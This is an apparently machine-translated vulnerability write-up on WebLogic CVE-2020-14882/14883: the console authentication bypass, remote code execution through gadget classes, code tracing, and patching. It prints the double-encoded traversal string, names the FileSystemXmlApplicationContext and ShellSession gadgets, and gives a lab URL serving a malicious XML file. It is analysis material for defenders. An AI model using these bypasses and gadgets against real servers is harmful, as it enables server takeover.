Shulou(Shulou.com)05/31 Report--

This article introduces how to conduct WebLogic unauthorized access and command execution vulnerability analysis, the content is very detailed, interested friends can refer to, hope to be helpful to you.

I. Overview of background loopholes

WebLogic, one of the main products of American Oracle company, is the main J2EE application server software in the commercial market, and it is also the first successful commercial J2EE application server in the world. It is widely deployed and applied in Java application server. On October 21, 2020, Oracle officially released an announcement of high-risk vulnerabilities for hundreds of components. Among them, the combination of CVE-2020-14882 / CVE-2020-14883 can enable unauthorized attackers to bypass the restrictions such as WebLogic background login, and finally remotely execute the code to take over the WebLogic server, which is extremely difficult and risky. The vulnerabilities are found in the console of WebLogic. This component is included in the full version of WebLogic, and the vulnerability is exploited through the HTTP protocol, the CVE-2020-14882 vulnerability allows unauthorized users to bypass the rights verification of the administrative console to access the background, and CVE-2020-14883 allows any background user to execute arbitrary commands through the HTTP protocol.

Vulnerability number

CVE-2020-14882, CVE-2020-14883

Vulnerability level

High risk, CVSS score 9.8

Affected version

10.3.6.0.0 、 12.1.3.0.0 、 12.2.1.3.0 、 12.2.1.4.0 、 14.1.1.0.0

Second, recurrence environment

Weblogic 10.3.6.0 and weblogic12.2.1.3.0,weblogic12.2.1.4.0 are used in this test.

Permission bypass vulnerability (CVE-2020-14882) is repeated:

When you normally access the console backend, you will be prompted to enter the account password and restrict access to other paths. You can see that 403 is returned.

With unauthorized access, you can access the background directly, bypassing authentication.

You can see that compared with the normal login backend, the unauthorized access backend cannot install the application because of insufficient permissions and lack of deployment and other functions, so it is impossible to obtain permissions directly through the deployment project.

'% 252e% 252e% 252F' is the'.. / 'after secondary URL coding, through which unauthorized access to the relevant management backend can be realized through the traversing path.

Arbitrary code execution reproduction

Use the above unauthorized access to CVE-2020-14882 in conjunction with CVE-2020-14883

Mode of utilization (1)

Through: com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext, this method was first proposed in CVE-2019-2725, and it is common to all versions of weblogic. First of all, we need to construct a malicious xml file, such as the http://10.211.55.2:9999/rce-win.xml we built here. Secondly, the attacked weblogic can access our malicious xml.

Other gadget:

Com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext ("http://IP/poc.xml")"

Mode of utilization (2)

Through com.tangosol.coherence.mvel2.sh.ShellSession, but this utilization method can only be used in Weblogic 12.2.1 and above, because the com.tangosol.coherence.mvel2.sh.ShellSession class does not exist in 10.3.6.

We can see that in the current 10.3.6 version, it will prompt

When using the version 12 test, the test is successful

Other exp

Such as echoes.

Or in POST form:

Debugging and analysis

First, bypass the verification of path permissions through static resource files. Weblogic then decodes the submitted url twice with url. Finally, parameters from handle are passed into HandleFactory to execute arbitrary code.

Start by bypassing the check of path permissions. First of all, the request of weblogic will be processed by weblogic.servlet.internal.WebAppServletContext#execute, and securedExecute () will be called here.

Follow up securedExecute, and then call doSecuredExecute to continue the follow-up.

Weblogic.servlet.internal.WebAppServletContext#doSecuredExecute

Call checkAccess here to check permissions

When you enter weblogic.servlet.security.internal.WebAppSecurity#checkAccess (), you can see that when the requested path is / console/console.portal, checkAllResources is false.

Follow up weblogic.servlet.security.internal.WebAppSecurityWLS#getConstraint () here.

Here, compare whether our relURI matches the path in our matchMap, and determine whether rcForAllMethods and rcForOneMethod are null.

When our relURI is / console.portal, rcForAllMethods is not null,rcForOneMethod is null, so rcForAllMethods is returned. And the corresponding static resources will not be restricted and verified.

Next, back to checkAccess, if this is the original / console.portal, it's over.

If you use console/images/console.portal, you will continue to judge resourceConstraint and subsequent isAuthorized, and enter weblogic.servlet.security.internal.ChainedSecurityModule#checkAccess.

HasPermission verification permissions will be entered in weblogic.servlet.security.internal.CertSecurityModule#checkUserPerm

So when we use a static resource path here, the unfinish value is true.

After that, the AsyncInitServlet corresponding to the configuration in web.xml will come to weblogic.servlet.AsyncInitServlet#service.

If there is no; in the decoded url, then super.service will continue to be called.

Enter super.service () again

In the end, no matter which kind of request comes to doPost, where createUIContext is called.

You can see that it has already been decoded once.

Then enter getTree and decode it again, and then requestPattern becomes / css/../console.portal

Then go to the com.bea.console.utils.BreadcrumbBacking#init class and enter findFirstHandle

Here, we will check whether there is handle in the parameters one by one, extract the contents of the parameters of handle and return them.

Finally, call HandleFactory.getHandle (handleStr) with the obtained handleStr as a parameter; at this point, you come to the entry of code execution.

The handleStr passed in here will be split into two parts, one as the instantiated class and the other as the constructor parameter and instantiation of the class, such as java.lang.String ('aaaa'), split into java.lang.String and aaaa

So we can construct the gadget based on this, and finally trigger it here through the reflection mechanism.

For example, when we construct a malicious gadget, it becomes like this, and then rce can be triggered.

III. Repair

At present, Oracle has officially released the latest patch for this vulnerability. Please download the patch and install the update in time.

The official Oracle patch requires users to have a licensed account for genuine software, and after logging in to https://support.oracle.com using this account, you can download the latest patch.

In older patches, blacklist filtering can be used and case bypass can be used. Please update the latest version of the patch, or choose to close console if necessary.

On how to conduct WebLogic unauthorized access and command execution vulnerability analysis is shared here, I hope the above content can be of some help to you, can learn more knowledge. If you think the article is good, you can share it for more people to see.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.